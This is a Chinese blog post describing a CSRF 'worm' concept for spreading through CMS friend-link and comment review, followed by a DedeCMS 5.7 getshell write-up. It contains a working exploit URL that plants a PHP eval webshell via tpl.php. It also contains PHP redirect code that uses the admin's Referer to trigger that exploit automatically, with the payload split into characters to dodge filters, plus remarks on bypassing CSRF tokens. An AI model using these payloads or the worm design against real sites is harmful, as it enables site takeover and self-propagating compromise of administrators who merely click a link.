CSRF技巧之蠕虫病毒传播和利用

之前有分析过某CMS通过友情链接触发csrf而getshell,很简单仅仅是一个csrf漏洞而已。条件有限的前提下getshell,获取管理员权限等、

首先第一类人群,做网络营销的人,很多人都会用cms去搭建站点,而且这很多cms为了提供强大的功能,提供了文件编辑功能,就触发这个csrf的编辑功能,如果单独给某个cms提出后台的csrf功能,肯定都是不认可的,是因为没被入侵过,没有引起重视,以前我也曾这样想,直到为了getshell一个站,发现csrf可以这么强大。

回到网络营销群体中去,做网络营销的网站都会具有两个特征:
第一,他们大部分都是用开源的cms搭建的站点;
第二,他们比较重视友情链接;(通常会通过自己网站的友情链接,点击检查对方是否撤销了自己的链接)
正是这两个条件,导致csrf病毒可以持续传播,还有一种放大的可能性,getshell一个大站,只要登陆当前网站的,访问过被getshell大站的csrf蠕虫页面,都可以被getshell、

拿dedecms案例来说,前台有个申请友情链接的功能,申请后直接到后台了,如果打开这个链接,会直接被getshell,这仅仅是csrf的利用,如果拿到shell后,自动回调python脚本,在模版页面的公共引用部分,加入js代码,这段js代码的意义是获取referer,并且做通过接口快速做指纹识别,返回相应的csrf请求,直接getshell,那么如果有的站长当前是在登陆状态,而且web指纹在js回调是被识别的,可以直接被getshell。如此循环下去,形成了一个csrf蠕虫病毒。而且都是getshell的噢、
有的觉得wordpress是知名cms,可能不会存在,,wordpress虽然没有提供申请友情链接的功能,但是有评论功能,评论后,或者在后台审核,或者可以直接通过,站长在审核的时候,相信很多站长都会依赖浏览器的一个功能,直接选中,右键转到该网站,又被利用了吧、
如果实在不行,可以xsrf,网站后台中有个添加统计代码功能通过统计代码里面添加外部js触发xss漏洞,又一个被利用的可能性。
上述仅是一个利用思路,并未落实,如果真要搞的话,预计很多站都会沦陷、、、

灰盒测试之织梦dedecms 5.7 官网最新版 Getshell

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

dede-%e6%bc%8f%e6%b4%9e

然后这里网址的,默认有http://,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的:

<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="javascript:this.bgColor='#FCFDEE';"onMouseOut="javascript:this.bgColor='#FFFFFF';">
          <td><input type='checkbox' name='aids' value='12' class='np'></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td>
          <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td>
          <td>2016-11-04</td>
          <td>未审核</td>
          <td>50</td>
          <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td>
        </tr>

这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php? #在当前路径执行这个get请求,写入一句话。

dede-csrf
然后就提交了,提交后,后台管理员看到的是这个样子的:

dede-csrf-exp

这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。

$exp?= ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;
//如果您有更好的办法,欢迎提供给我。
然后php做CSRF中转的代码如下:
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();

然后就重新开始咯,在友情链接里面添加exp友情链接:http://******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

getshell-dedecms
getshell-dedecms

之后发现有的cms会限制只允许输入域名,这也没关系,申请个域名,默认就是/index.php,一样可以getshell,还有的为了防止csrf,在请求中加了token令牌验证,这种是有可能被绕过的,绕过几率为80%,下次有机会实现js无刷新获取token令牌getshell。。。